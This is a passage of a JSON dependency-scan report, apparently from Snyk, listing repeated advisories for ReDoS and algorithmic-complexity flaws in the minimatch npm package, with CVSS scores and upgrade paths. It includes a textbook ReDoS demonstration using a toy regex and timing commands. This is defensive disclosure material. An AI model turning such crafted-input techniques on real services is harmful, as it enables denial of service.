"0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red 